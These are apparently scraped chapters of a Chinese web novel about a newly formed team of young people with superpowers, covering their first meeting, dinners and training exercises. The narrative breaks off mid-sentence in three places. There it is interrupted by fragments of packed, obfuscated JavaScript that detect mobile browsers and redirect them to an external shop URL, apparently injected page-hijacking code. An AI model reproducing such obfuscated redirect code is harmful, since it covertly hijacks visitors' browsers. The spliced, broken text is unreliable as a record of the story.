“嗯,有点私事。”杨晓晓含糊应道,背起包匆匆离开。 赶到那栋看似普通的写字楼时,是下午五点四十分。杨晓晓熟门熟路地刷卡进入专用电梯,按下B6层按钮。电梯下行时,她整理了一下衣服——今天她穿了件浅蓝色的衬衫和深色长裤,看起来比平时稍微正式些。 电梯门在B6层打开。这一层的装修风格和上面的办公区完全不同,深色的地毯,柔和的间接照明,墙上挂着一些看起来很有年代感的照片和荣誉证书。走廊尽头是一扇厚重的实木门,门口站着一名穿着制服的工作人员。 “杨晓晓?”工作人员核对了平板上的信息,“请进,周局长和陈队已经在里面了。” 杨晓晓深吸一口气,推门进去。 会议室比她想象中小,一张深色长桌占据了大部分空间。周正浩局长坐在主位,陈树站在他身侧。长桌两侧已经坐了两个人——雷昊和林墨。雷昊今天居然穿了件熨烫整齐的白衬衫,头发也梳得服服帖帖,看起来很不习惯地扯了扯领口。林墨则是一贯的温和打扮,浅灰色毛衣,安静地坐着。 “来了。”陈树示意她坐下,“等熊毅到,我们就开始。” 杨晓晓在林墨旁边坐下,小声问:“今天是什么正式安排?” 林墨微微摇头,表示自己也不清楚。 这时门又开了,熊毅走进来。他今天也穿了正装,深色西装穿在他壮硕的身材上显得有些紧绷,但他走路的姿势依然沉稳有力。 “好,人到齐了。”周局长站起身,目光扫过四人,“今天叫你们来,是有一件重要的事情宣布。” 会议室里安静下来。 “经过两个多月的观察和评估,”周局长缓缓开口,“局里决定,将你们四个人正式编为一支预备行动小队。” 杨晓晓心里一跳,下意识地看向陈树。陈树面色平静,显然早就知道这件事。 “这不是临时组队。”周局长继续说,“而是正式的编制安排。从今天起,你们四个人——雷昊、林墨、熊毅、杨晓晓,将作为‘第四预备行动小队’进行统一管理和训练。” 他从桌上拿起四份深蓝色封面的文件夹,一一递给他们。 杨晓晓接过文件夹,打开第一页就看到“第四预备行动小队编制确认书”几个大字。下面详细列出了小队的职责范围、指挥关系、训练要求等条款。 “小队暂时没有正式代号,等你们完成初期磨合训练后再确定。”周局长说,“陈树担任你们的直接指挥和训练教官。日常训练由他负责安排,任务派遣由我亲自审批。” 杨晓晓翻到第二页,看到了队友的正式档案信息——比之前她知道的要详细得多。 雷昊,24岁,电子工程与信息安全双硕士,三年前在一次实验室事故中意外获得电能操控能力。擅长电子设备改造、网络攻防、电磁脉冲应用。性格活跃,思维敏捷,但偶尔会因过度自信而冒进。 林墨,26岁,原武警某特战中队狙击手,两年前在一次边境任务中遭遇不明能量场影响,觉醒物质穿透能力。擅长渗透侦查、精准射击、潜伏伪装。性格沉稳,观察力强,但有时会因过于谨慎而错失时机。 熊毅,28岁,原陆军某特种部队突击手,四年前在一次演习事故中为保护战友被重物掩埋,奇迹生还后获得力量强化能力。擅长正面突击、防御掩护、近身格斗。性格坚毅,责任感强,但对精细操作有时缺乏耐心。 最后是她自己——杨晓晓,23岁,三个月前在电梯事故中觉醒超常听力,目前已掌握基础监听、声音解析、多频道注意力分配等技能。优点是观察细致、适应力强,缺点是经验不足、应变能力有待提高。 档案里甚至还有一张四人的能力互补性分析图,显示着每个人的强项和短板,以及如何通过团队协作来弥补不足。 “你们的能力各有所长,正好形成互补。”周局长走到白板前,画了一个简单的图表,“雷昊的技术支援,林墨的渗透侦查,熊毅的正面作战,杨晓晓的情报收集——组合起来就是一支功能完整的行动小队。” 他顿了顿,目光变得严肃:“但我要强调的是,一支优秀的队伍,不仅仅是能力的简单叠加。更重要的是信任、默契和纪律。” “从今天起,你们不仅是同事,更是战友。在训练场上,你们要互相磨合;在任务中,你们要把后背交给对方;在生活中,你们要互相了解,建立真正的团队纽带。” 会议室里安静得能听到空调出风口的细微声音。 “接下来两周,你们将进行密集的团队适应性训练。”周局长看向陈树,“陈树会制定详细的训练计划。训练目标是让你们的团队协作能力达到可以执行C级任务的标准。” C级任务——杨晓晓记得培训时学过,那是需要团队协作的常规保护或侦查任务,危险程度中等。 “现在,给你们十分钟时间,互相正式认识一下。”周局长看了眼手表,“不是档案上的认识,而是真正地了解你的队友。陈树,这里交给你。” 周局长离开了会议室,门轻轻关上。 陈树走到长桌前端,双手撑在桌面上:“好了,正式程序结束。现在,用你们自己的方式互相认识。” 四个人互相看了看,气氛一时有些尴尬。 “要不……我们重新自我介绍一下?”林墨试探性地提议。 “好啊好啊!”雷昊立刻来了精神,从椅子上跳起来,“我先来!我叫雷昊,24岁,未婚,喜欢电子游戏和改装各种设备。最擅长的是把任何电子产品拆开再装回去——虽然有时候装回去会多几个零件。” 他说着做了个鬼脸,会议室里的气氛轻松了一些。 “到我了。”林墨温和地笑了笑,“林墨,26岁。以前是武警,现在是……这个。平时喜欢看书,特别是历史类和军事类。训练之余会练练书法,虽然写得不太好。” 杨晓晓有些意外,没想到林墨还有这样的爱好。 “熊毅。”熊毅言简意赅,“28岁。爱好看情况——出任务时爱看地形图和战术手册,休息时爱看美食节目和……织毛线。” 最后三个字他说得有点小声,但会议室里所有人都听见了。 雷昊噗嗤一声笑出来:“熊哥,你每次都这样,说到织毛线就不好意思。有什么不好意思的,多温柔啊!” 熊毅摸了摸后脑勺,有点憨厚地笑了。 轮到杨晓晓了。她深吸一口气:“我叫杨晓晓,23岁。以前是普通公司的行政,现在是……这个。没什么特别的爱好,就是喜欢听音乐、看电影,还有……养绿萝,虽然经常养死。” “对对对!”雷昊拍手,“陈队说过,你在公司养死三盆绿萝了!” 杨晓晓脸一红:“那是意外……” 陈树在旁边补充:“第四盆目前还活着,但上周因为浇水过多差点淹死。” 会议室里响起一阵笑声。 “好了,玩笑开完了。”陈树拍拍手,“既然你们已经是正式小队,有些规矩要说清楚。” 四个人立刻坐直身体。 “第一,保密纪律。小队内部的所有信息,不得向任何外人透露——包括你们的家人、朋友,甚至是局里其他部门的同事。” “第二,通讯纪律。每个人必须24小时保持通讯畅通。特殊情况需要报备。” “第三,训练纪律。训练计划必须严格执行,不得无故缺席或迟到。” “第四,也是最重要的,”陈树的目光扫过每个人的脸,“团队纪律。你们是一个整体,一荣俱荣,一损俱损。任何时候,不能抛下队友;任何决定,要考虑团队利益。” 他顿了顿:“我知道你们都还年轻,都有各自的性格和习惯。但既然成为了队友,就要学会互相包容,互相理解。” 会议室里安静了几秒。 “明白。”熊毅第一个回答。 “明白。”林墨和雷昊同时说。 “明白。”杨晓晓也郑重地点头。 “好。”陈树看了看时间,“今天就这样。明天开始正式合练。现在,我建议你们一起出去吃个饭——不是命令,是建议。一支好的队伍,应该从一起吃饭开始。” 雷昊眼睛一亮:“这个建议好!我知道附近有家烧烤店特别好吃!” 林墨微笑:“我同意。” 熊毅点头:“可以。” 杨晓晓看着这三个人——这个即将成为她队友的小团体,心里涌起一种复杂的感觉。有紧张,有期待,还有一种奇妙的归属感。 “我也去。”她说。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191465|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傍晚六点半,四个人出现在写字楼附近的一家烧烤店里。店面不大,但生意很好,弥漫着炭火和烤肉的香气。 雷昊熟门熟路地找了个靠窗的位置,拿起菜单就开始点:“羊肉串二十个,牛肉串二十个,鸡翅十个,烤茄子两个,金针菇……” “点这么多吃得完吗?”林墨问。 “放心吧!”雷昊拍拍胸脯,“熊哥一个人就能吃一半!” 熊毅不好意思地笑了笑:“训练消耗大,确实容易饿。” 等菜的时候,气氛有些微妙的尴尬。虽然刚才在会议室里聊了几句,但毕竟还不太熟悉。 杨晓晓主动开口:“雷昊,你刚才说你喜欢改装设备,一般都改装什么?” “什么都改!”雷昊立刻来劲了,“手机、电脑、游戏机……上次我把局里的通讯器改装了一下,续航时间延长了百分之三十,陈队还夸我了呢!” “然后第二天就因为过载烧坏了三台。”林墨在旁边幽幽补充。 “那是意外!意外!” 杨晓晓忍不住笑了。她转向林墨:“林墨,你刚才说练书法,练的是什么体?” “主要是楷书,偶尔写行书。”林墨有点不好意思,“写得不好,就是图个静心。” “挺好的。”熊毅突然说,“我小时候也练过,后来……没坚持下来。” “熊哥你还会这个?”雷昊惊讶。 “嗯,我爷爷教的。他说练字能磨性子。”熊毅说着,目光有些遥远,似乎想起了什么往事。 菜陆续上来了,烤肉的香气让人胃口大开。四个人一边吃一边聊,从兴趣爱好聊到训练趣事,从各自的能力聊到对未来的期待。 杨晓晓发现,虽然这三个人性格各异——雷昊活泼跳脱,林墨沉稳内敛,熊毅憨厚可靠——但都有一个共同点:他们都在努力适应自己的特殊能力,都在努力找到自己的位置。 就像她一样。 “晓晓,”雷昊递给她一串烤好的鸡翅,“以后出任务,我们就靠你‘听风’了。” 杨晓晓接过鸡翅,认真地说:“我会尽力的。” “别给自己太大压力。”林墨温和地说,“我们是一个团队,有事一起扛。” 熊毅举起杯子——里面是可乐:“为团队。” 其他三人也举起杯子:“为团队。” 四个杯子碰在一起,发出清脆的响声。 窗外的天色渐渐暗下来,街灯一盏盏亮起。烧烤店里热气腾腾,人声嘈杂,充满了市井的烟火气。 在这个普通的夜晚,四个不普通的年轻人坐在一起,吃着烧烤,聊着天,开始了他们作为队友的第一顿饭。 前路还长,训练还多,未来会有各种各样的挑战。 但至少在这一刻,他们是轻松的,是愉快的,是满怀期待的。 杨晓晓咬了一口鸡翅,烤得恰到好处,外焦里嫩。 她看着坐在对面的三个新队友——雷昊正眉飞色舞地讲着什么笑话,林墨微笑着听着,熊毅认真地烤着下一批肉串。 忽然觉得,有这样的队友,好像也不错。 “对了,”雷昊突然说,“咱们小队还没代号呢。要不现在想想?” 林墨想了想:“叫‘曙光’怎么样?” “太文艺了。”雷昊摇头,“要我说,叫‘雷霆’!多霸气!” 熊毅慢吞吞地说:“叫‘磐石’吧,稳重。” 三个人看向杨晓晓。 杨晓晓想了想,突然灵机一动:“叫‘谛听’怎么样?” “谛听?” “嗯,神话里地藏菩萨的坐骑,能听辨世间一切声音。”杨晓晓解释,“正好和我的能力对应,也寓意着我们能‘听’到别人听不到的信息。” 雷昊眼睛一亮:“这个好!有文化!” 林墨微笑点头:“不错。” 熊毅也赞同:“有意义。” “那就暂定‘谛听’小队!”雷昊兴奋地说,“等明天告诉陈队!” 杨晓晓笑了,心里暖暖的。 谛听——能听辨世间一切声音的神兽。 希望他们这支小队,真的能像谛听一样,听到该听的声音,保护该保护的人。 窗外的夜色越来越深,烧烤店里的灯光温暖而明亮。 四个年轻人的笑声,融入了这座城市的夜晚。 属于“谛听”小队的故事,才刚刚开始。 26. 尴尬的配合练习 周六的团队配合训练,杨晓晓提前半小时就到了基地。 她以为自己够早了,没想到有人更早——熊毅已经在健身区做引体向上,赤裸的上身肌肉贲张,汗水沿着脊背滑落。看到杨晓晓,他点点头,继续训练。 “大熊每天都五点半起床,雷打不动。”雷昊的声音从设备区传来,他正抱着一桶泡面,眼睛盯着三块并排的显示屏,“不像某人,天天睡到午饭时间。” 他说的“某人”正蜷在沙发上,用连帽衫的帽子盖住脸,发出均匀的呼吸声。 “林墨昨晚通宵打游戏了?”杨晓晓小声问。 “不是游戏,是帮陈头查东西。”雷昊嗦了一口面,“他的能力用来做电子侦察其实也挺好——穿进服务器机房,插个U盘,神不知鬼不觉。就是每次回来都累得像条死狗。” 正说着,陈树到了。他看了一眼还在睡觉的林墨,没叫醒他,而是对杨晓晓说:“今天做基础配合练习。你和雷昊一组。” “我呢我呢?”雷昊举手。 “你和她配合。”陈树指了指杨晓晓,“模拟侦察与拦截任务。杨晓晓负责监听‘目标’——也就是我——的位置和动向。雷昊负责根据她的情报,在合适的位置进行拦截。” “用什么拦截?”雷昊眼睛发亮,“真电击器?麻醉枪?还是——” “玩具水枪。”陈树从包里拿出一个塑料的卡通水枪,扔给雷昊。 雷昊接住,一脸嫌弃:“陈头,这太儿戏了吧!” “训练用足够了。”陈树不理他的抗议,转向杨晓晓,“你的任务是戴上耳机,监听我的脚步声、呼吸声、衣服摩擦声等一切声音,判断我的实时位置,并通过对讲机告诉雷昊。雷昊的任务是在我到达‘终点’——也就是基地那扇模拟保险库的门——之前,用水枪‘击中’我。” 杨晓晓紧张地点头:“明白。” “范围是整个基地。”陈树说,“我会尽量隐藏自己的声音,也会制造干扰。准备好了吗?” “等等等等!”雷昊举手,“规则呢?陈头你不能用能力吧?你那控制能力要是用上,走路都没声音的!” “我不会用能力。”陈树说,“但也不会放水。” 五分钟后,训练开始。 杨晓晓戴上了特制耳机——这个耳机可以放大环境音,但也容易收录到干扰。她坐在基地中央的指挥区,面前是雷昊临时搭建的简易“监听站”,其实就是几个麦克风和扬声器。 雷昊已经扛着水枪消失在模拟街区的布景后,他的声音从对讲机里传来:“耳朵耳朵,我是水枪,已就位。报告目标位置!” 杨晓晓深吸一口气,闭上眼睛,将听力集中。 基地里很安静,只有熊毅训练时器械的轻微声响,还有林墨睡觉的呼吸声。她过滤掉这些固定音源,开始搜索陈树的动静。 找到了。 在……二楼?东侧训练区? 脚步声很轻,但确实有。还有极其细微的衣服摩擦声,是陈树今天穿的那件棉质衬衫特有的声音。 “目标在二楼东侧,”杨晓晓对着麦克风说,“正在移动……往楼梯方向去了。” “收到!我去楼梯口堵他!”雷昊的声音带着兴奋。 杨晓晓继续监听。陈树的脚步声在楼梯口停了一下,然后……上楼了? “等等,他上三楼了。”她修正信息。 “三楼?好好好,我改道!”对讲机里传来雷昊奔跑的脚步声。 杨晓晓皱起眉头。不对,脚步声在三楼只停留了很短时间,又往回走了。而且这个脚步声的节奏有点奇怪,比之前稍重一些…… “目标又回二楼了!”她赶紧说,“现在在西侧,靠近设备区!” “什么?!我刚刚到三楼!”雷昊哀嚎,“他耍我玩呢!” 杨晓晓额头冒汗。她全神贯注地追踪陈树的声音,但发现越来越难——陈树似乎很熟悉基地的声学环境,总选择在有背景噪音的区域移动,或者突然停下,让她失去目标。 “目标静止……在二楼中部?”她不确定地说。 “能不能给个准信啊姐姐!”雷昊在对讲机里喘气,“我跑得满头汗了!” “我尽量……”杨晓晓咬紧牙关。 她突然捕捉到一个声音——不是脚步声,而是极其轻微的金属摩擦声。是门轴转动?基地里有很多模拟门,但这个声音的来源是…… “地下室!”她脱口而出,“目标去地下室了!” “地下室?!他什么时候下去的?!”雷昊快崩溃了,“我刚从三楼跑到二楼!” “他现在在地下室东区,在移动……”杨晓晓努力分辨声音的方向,“往楼梯方向……不对,停住了。他在做什么?” 对讲机沉默了几秒,然后传来雷昊小心翼翼的声音:“我摸到地下室楼梯口了,没看见人啊……” 杨晓晓也疑惑。她清晰地听到陈树在地下室,但声音突然变得很稳定——呼吸平稳,几乎没有移动声,只有偶尔的……液体倾倒声? 等等。 液体? “他可能在……”杨晓晓有了一个荒谬的猜测,“喝茶?” “什么?!”雷昊的声音提高了八度。 就在这时,地下室通往一楼的楼梯门开了。陈树端着一个马克杯,悠哉地走上来,杯口还冒着热气。 他走到目瞪口呆的雷昊面前,喝了一口茶:“训练结束。” “结、结束了?”雷昊扛着水枪,一脸懵,“可我还没——” “你一直在被我遛。”陈树平静地说,“根据杨晓晓的情报,你跑了三楼、二楼、一楼、地下室,但实际上我大部分时间都在地下室的小房间里泡茶。” 杨晓晓摘下耳机,脸红了:“对不起,我……” “不是你的错。”陈树转向她,“你的听力很好,但缺乏经验。我利用了你几个盲区:第一,回声误导。我在二楼故意制造脚步声,然后快速移动到三楼,再返回,让你以为我在不同楼层间快速移动。实际上那是我用遥控小车模拟的脚步声。” 他指了指墙角一个小玩意儿,杨晓晓这才注意到那里有个玩具车大小的设备。 “第二,声音延迟。”陈树继续说,“基地的结构会让声音产生反射和延迟,尤其是地下室到一楼的传导。你听到我在地下室移动的声音时,实际上我已经在喝茶了。” 杨晓晓恍然大悟。难怪她觉得声音有些奇怪。 “第三,也是最关键的,”陈树看着她和雷昊,“你们没有建立有效的沟通模式。杨晓晓,你一直在报告‘目标在X位置’,但没有说清楚是‘刚刚在’还是‘现在在’,也没有给出移动速度和方向预测。雷昊,你收到信息就盲目行动,没有判断情报的时效性,也没有请求二次确认。” 雷昊挠挠头:“我这不是相信队友嘛……” “相信不等于盲从。”陈树说,“在真实任务中,错误的情报可能导致任务失败,甚至人员伤亡。你们需要磨合,需要建立默契。” 这时,沙发上的林墨动了动,帽子滑下来,露出惺忪的睡眼:“结束了?” “你睡醒了?”雷昊没好气,“我们在这累死累活训练,你倒好!” “我昨晚工作到凌晨四点。”林墨小声辩解,揉了揉眼睛,“什么训练?我也要参加吗?” 陈树看了看时间:“下一组,杨晓晓和林墨。” 接下来的训练更尴尬。 这次的任务是“渗透与侦察”。林墨需要穿过三道模拟的墙壁,到达目标房间,取得一个U盘(其实是巧克力)。杨晓晓的任务是监听房间内外的情况,指导林墨选择最佳时机进入。 听起来简单,做起来问题百出。 第一次尝试,杨晓晓听到房间里有“人”在说话——其实是陈树放的录音。她让林墨等待,结果等了三分钟,发现只是录音循环。 第二次,林墨成功穿墙进入,但杨晓晓没注意到房间天花板有个模拟监控摄像头在转动。林墨刚拿到巧克力,摄像头就“发现”了他,警报大作。 第三次,林墨在穿第二道墙时卡住了。 是真的卡住了。 他的上半身已经进入墙体,下半身还在外面,整个人呈一个尴尬的姿势。 “林墨?”杨晓晓通过对讲机呼叫。 “卡……卡住了……”林墨的声音闷闷的,带着惊慌,“这墙里有钢筋……我没注意……” “别慌!”杨晓晓也急了,“你能退出来吗?” “动不了……太紧了……” 熊毅不知何时已经走了过来。他看了一眼情况,对杨晓晓说:“别担心,常有的事。” 然后他走到墙边,双手按在墙面上,深吸一口气。杨晓晓惊讶地看到,熊毅的手臂肌肉以肉眼可见的速度膨胀,皮肤泛起金属般的光泽。 “林墨,憋气。”熊毅沉声说。 下一秒,他双手用力一撕——真的是撕,混凝土墙面被他硬生生撕开一个口子,露出里面卡着的林墨。熊毅伸手把林墨拽出来,动作轻巧得像在拔萝卜。 林墨跌坐在地上,大口喘气,身上沾满灰尘。熊毅检查了一下他有没有受伤,然后转头对走过来的陈树说:“没事,就是吓到了。” 陈树点点头,看向惊魂未定的杨晓晓:“这就是为什么需要团队。一个人的能力再强,也有局限和风险。林墨可以穿墙,但可能卡住。你能听声辨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191466|197074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位,但可能被误导。雷昊能黑入任何系统,但需要时间。熊毅能保护所有人,但他不能分身。” 他环视四人:“所以你们要互相弥补,互相支援。杨晓晓,下次林墨执行渗透任务,你要帮他听清墙体结构。林墨,你要学会判断什么墙能穿,什么墙不能。雷昊,你要提供技术支持,比如建筑结构图。熊毅,你要随时准备救援。” 四个人都认真听着。 “今天的训练虽然尴尬,但很有价值。”陈树最后说,“你们看到了彼此的缺点,也看到了配合的重要性。下周继续。” 训练结束后,雷昊提议去吃火锅。 “我知道一家超好吃的,老板是我哥们,可以打五折!”他兴奋地说,“就当欢迎晓晓正式加入,也安慰一下今天受伤的心灵——主要是我的,跑来跑去累死了!” 林墨小声说:“我被卡住了都没喊累……” “你那是睡饱了!”雷昊怼回去,但语气是玩笑的。 熊毅看向陈树,陈树想了想,点头:“可以。但不能喝酒,保持清醒。” “耶!”雷昊跳起来,“走走走!” 五个人——包括陈树——一起离开基地。这是杨晓晓第一次和这群“特别的人”在正常场合相处,感觉有点奇妙。 火锅店里热气腾腾,雷昊果然和老板熟,一进门就勾肩搭背。老板给他们安排了一个包厢,说是“特别招待”。 点菜时,雷昊抢过菜单:“我来我来!我知道什么好吃!毛肚要两份!鸭肠要三份!牛肉卷五盘!林墨你能吃辣吗?” 林墨缩在椅子里:“一点……” “那就鸳鸯锅!”雷昊刷刷点菜,“大熊你呢?还是老样子,清汤涮蔬菜?” 熊毅点头,然后看向杨晓晓:“你能吃辣吗?” “还可以。”杨晓晓说。 “那好,鸳鸯锅。”雷昊把菜单递给陈树,“陈头您看看还要加什么?” 陈树简单加了两样素菜,就把菜单给了服务员。 等菜的时候,气氛有点沉默。最后还是雷昊打破了尴尬:“晓晓,你别灰心啊,第一次配合训练都这样。我和大熊第一次合作的时候,我把他的通信器给黑了,害他在演习场迷路三小时!” 熊毅面无表情:“我记得。你后来被陈头罚扫厕所一个月。” “往事不要再提!”雷昊捂住脸。 杨晓晓笑了:“林墨呢?第一次和你们配合是什么情况?” 林墨低着头,声音小得像蚊子:“我……我穿墙进了女厕所……” “噗——”雷昊一口水喷出来,“对对对!那次可精彩了!正好保洁阿姨在里面,吓得拖把都扔了!林墨慌得又穿墙出来,结果穿到男厕所,撞见陈头在……” “雷昊。”陈树冷冷地看过来。 “我闭嘴我闭嘴。”雷昊做了个拉链动作,但肩膀还在抖。 杨晓晓忍不住笑出声,林墨耳朵红了,但嘴角也微微上扬。 火锅上来后,气氛更热络了。雷昊讲各种训练中的糗事,熊毅偶尔补充一句,林墨虽然话少,但会认真听,听到好笑的地方会抿嘴笑。陈树大部分时间在吃,但会适时地加入话题,或者制止雷昊讲太过分的内容。 杨晓晓看着这群人,心里涌起暖意。 他们确实很特别——有能力,有故事,有各自的怪癖和缺点。但他们在一起,就像一个……家庭。 一个奇怪但温暖的家庭。 吃完饭,陈树去结账,雷昊拉着杨晓晓加各种社交账号:“这个是我游戏号,这个是我追星小号,这个是我技术论坛马甲……对了,你有微博吗?互关互关!” 熊毅默默地把没吃完的菜打包,林墨在玩手机,但杨晓晓注意到,他在偷偷拍大家——虽然只拍到了桌子和手。 走出火锅店,夜风微凉。陈树要送杨晓晓回去,雷昊他们自己走。 “下周见!”雷昊挥手,“晓晓,周末有空一起打游戏啊!我带你上分!” 林墨小声说:“我也可以……带你。” 熊毅点头:“注意安全。” 杨晓晓坐上车,回头看那三个站在路灯下挥手的人影,心里满满的。 “感觉怎么样?”陈树问。 “很好。”杨晓晓真心地说,“虽然今天训练很尴尬,但……我喜欢他们。” 陈树看着前方,嘴角微扬:“他们也很喜欢你。” 车在夜色中行驶,杨晓晓靠着车窗,回想着今天的点点滴滴。 尴尬的训练,搞笑的失误,热气腾腾的火锅,还有队友们真诚的笑容。 也许这就是团队的意义——不一定完美,但在一起。 她闭上眼睛,笑了。 27. 林墨的穿墙妙用 周四的训练日,杨晓晓提前半小时就到了基地。 她以为自己来得够早了,没想到训练场里已经有人了。场地的另一端,林墨正面对着一面特制的训练墙,闭目凝神,做着深呼吸。 杨晓晓轻手轻脚地走近,没有打扰他。她记得陈树说过,穿墙能力对精神集中度的要求很高,需要排除一切杂念。 林墨今天穿了一身深灰色的训练服,衬得他本就偏白的肤色更加明显。他站在墙前大约三米处,双手自然下垂,整个人呈现出一种奇特的放松状态——不是松懈,而是像弓弦拉满前的静止。 大约过了五分钟,林墨睁开眼睛。他缓缓走向墙壁,脚步很轻,几乎听不到声音。在距离墙壁还有半米时,他伸出右手,手掌轻轻贴在了墙面上。 接下来的一幕让杨晓晓屏住了呼吸。 林墨的手掌开始慢慢“融入”墙壁,就像把手伸进水里一样自然。墙壁表面泛起一圈圈细微的波纹,不是真正的物理波纹,更像是光线折射产生的视觉错觉。他的手腕、小臂、肘部,一点点消失在墙里。 整个过程很慢,很安静。杨晓晓甚至能听到林墨平稳的呼吸声,以及他衣服摩擦墙壁时发出的极细微的沙沙声。 就在林墨的肩膀即将没入墙壁时,他突然停了下来。 停顿了几秒,他缓缓后退,将手臂从墙里“拔”了出来。墙壁恢复原状,仿佛什么都没发生过。 林墨转过身,这才注意到站在不远处的杨晓晓。 “你来了。”他的声音还是一如既往的轻。 “我……我没想打扰你。”杨晓晓有点不好意思,“我就是好奇……” “没事。”林墨擦了擦额头的薄汗,“刚才是在做热身。正式训练前需要让身体适应穿墙的‘感觉’。” 杨晓晓走近那面墙,伸手摸了摸。墙壁是硬的,冰冷的,和其他墙壁没什么不同。 “你是怎么做到的?”她忍不住问,“我是说……穿过固体物质,这在物理上……” “陈头说过,我们的能力暂时无法用现有科学完全解释。”林墨在墙边的长椅上坐下,拍了拍旁边的位置示意她也坐,“对我来说,穿墙更像是一种……状态转换。” 杨晓晓坐下,认真听着。 “就像水可以以固态、液态、气态存在。”林墨努力寻找合适的比喻,“我的能力是让自己在短时间内处于一种特殊的‘相位状态’,可以穿过大部分固体物质。但时间很短,最多五米距离,而且消耗很大。” “那穿过去的时候,是什么感觉?” 林墨想了想:“最接近的感觉可能是……在很稠的液体里游泳。四周有压力,需要用力才能前进。视线是模糊的,只能看到大致的轮廓和光影。主要靠触感和方向感判断位置。” “会疼吗?” “刚开始会,像肌肉过度拉伸的感觉。”林墨活动了一下肩膀,“后来习惯了,就只是累。穿一次墙,相当于跑一千米的体力消耗。” 杨晓晓想起训练时看到林墨穿墙后总是满头大汗的样子,原来不是紧张,是累。 “那最大的危险是什么?”她问。 “卡住。”林墨回答得很干脆,“墙里有钢筋的时候最容易卡住。钢筋的密度和普通建筑材料不一样,穿过去时需要更大的能量。如果体力不够,或者判断失误,就可能卡在中间。” 他顿了顿,声音更低了些:“我卡住过三次。第一次是训练时,墙里有根钢筋我事先不知道,穿到一半动不了。熊哥把墙砸了个洞才把我拉出来。” 杨晓晓倒吸一口凉气。 “第二次是实战演练,我试图穿一堵加厚的安全门,结果门芯有特殊金属夹层。”林墨苦笑,“那次是陈头用切割机切开的门。第三次……是在外面。” “外面?” 林墨犹豫了一下,还是说了:“上个月,我家楼下有只小猫被困在空调外机夹层里,我试着穿过去救它。没想到那栋楼是老建筑,里面埋了很粗的铸铁水管。” 他的表情变得有些后怕:“我卡在水泥和铸铁之间,整整二十分钟。最后是雷昊用电磁脉冲暂时干扰了水管的分子结构,我才勉强脱身。” “那只猫呢?” “救出来了。”林墨脸上浮现出一丝笑容,“现在在我家养着,叫‘夹心’——因为我是在夹层里找到它的。” 杨晓晓忍不住笑了。这个外表安静内向的队友,竟然会为了救一只猫冒这么大风险。 “所以现在我会更小心。”林墨说,“陈头教了我一些判断墙体结构的方法,雷昊还给我做了个简易的金属探测仪。穿墙前尽量确认安全。” 训练场门口传来脚步声,陈树和雷昊、熊毅一起走了进来。 “来得挺早。”陈树看了杨晓晓一眼,然后对林墨说,“今天专门给你做穿墙精度训练。杨晓晓,你辅助记录。” “我?” “嗯。”陈树指着训练场另一头,“那边设置了五个目标点,林墨需要从不同位置穿墙到达指定点。你需要用听力判断他穿墙的路径、速度,以及穿墙后的精确位置。记录所有数据。” 杨晓晓明白了。这是要测试她的监听精度,同时也是帮助林墨提高穿墙的准确性。 训练开始。第一轮,林墨需要从A点穿到B点,距离大约三米。他站在墙前,做了个深呼吸,然后整个人向前倾斜,像跳水一样“融”入了墙壁。 杨晓晓闭上眼睛,将听力集中在那面墙上。 她听到了林墨衣服摩擦墙壁的声音——不是普通的摩擦,是一种奇特的、沉闷的沙沙声,像是布料在很稠的液体中移动。 她听到了林墨的呼吸声,从一开始的平稳,到穿墙过程中变得稍微急促。 她还听到了……墙体内部细微的结构声?水泥的颗粒感,偶尔的微小裂缝,还有—— “有钢筋。”她突然说,“左下方,距离你半米。” 墙里的林墨似乎调整了方向,穿墙的声音轨迹出现了细微的偏移。 几秒后,林墨从墙的另一侧“浮”了出来,精准地站在B点的标记圈内。 “很好。”陈树记录数据,“杨晓晓的预警及时,林墨的调整准确。” 第二轮,距离增加到四米,而且要穿过两道墙。这次难度明显增大了。林墨穿第一道墙还算顺利,但在第二道墙里停留的时间明显变长。 杨晓晓听到他的呼吸变得沉重,心跳加速。 “坚持住,”她轻声说,虽然知道林墨可能听不到,“还有一米……半米……到了!” 林墨从墙里出来时,脚步踉跄了一下,熊毅及时扶住了他。 “休息五分钟。”陈树说。 林墨靠在墙上喘气,脸色发白。雷昊递给他一瓶能量饮料:“慢慢喝。” “谢谢。”林墨接过来,手还在微微发抖。 杨晓晓看着他,忽然意识到穿墙能力并没有看上去那么轻松炫酷。每一次使用都是对体力和意志的考验,而且伴随着真实的风险。 “林墨,”她忍不住问,“你为什么要坚持练这个能力?我是说……它这么累,这么危险。” 林墨喝完饮料,擦了擦嘴,沉默了几秒。 “因为有用。”他简单地说,“能救人,能完成别人完成不了的任务。” 他顿了顿,声音更轻了些:“我以前是武警,最清楚在危险情况下,多一种手段可能就意味着多一分生机。虽然现在不在部队了,但这种能力……我想把它用在正道上。” 杨晓晓想起他救猫的事,明白了。 休息结束,训练继续。第三轮是这次最难的——要穿过一段弯曲的模拟管道,而且管道内部有随机的障碍物。 林墨在管道入口处犹豫了一下。杨晓晓通过听力能“听”出管道内部的结构很不规则,有些地方宽,有些地方窄,还有几处突起的障碍。 “需要我描述内部结构吗?”她问。 林墨摇头:“我得自己判断。实战中不一定有人能告诉我。” 他深吸一口气,进入了管道。 这一次,杨晓晓听得更加仔细。她听到林墨在狭窄处调整姿势的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 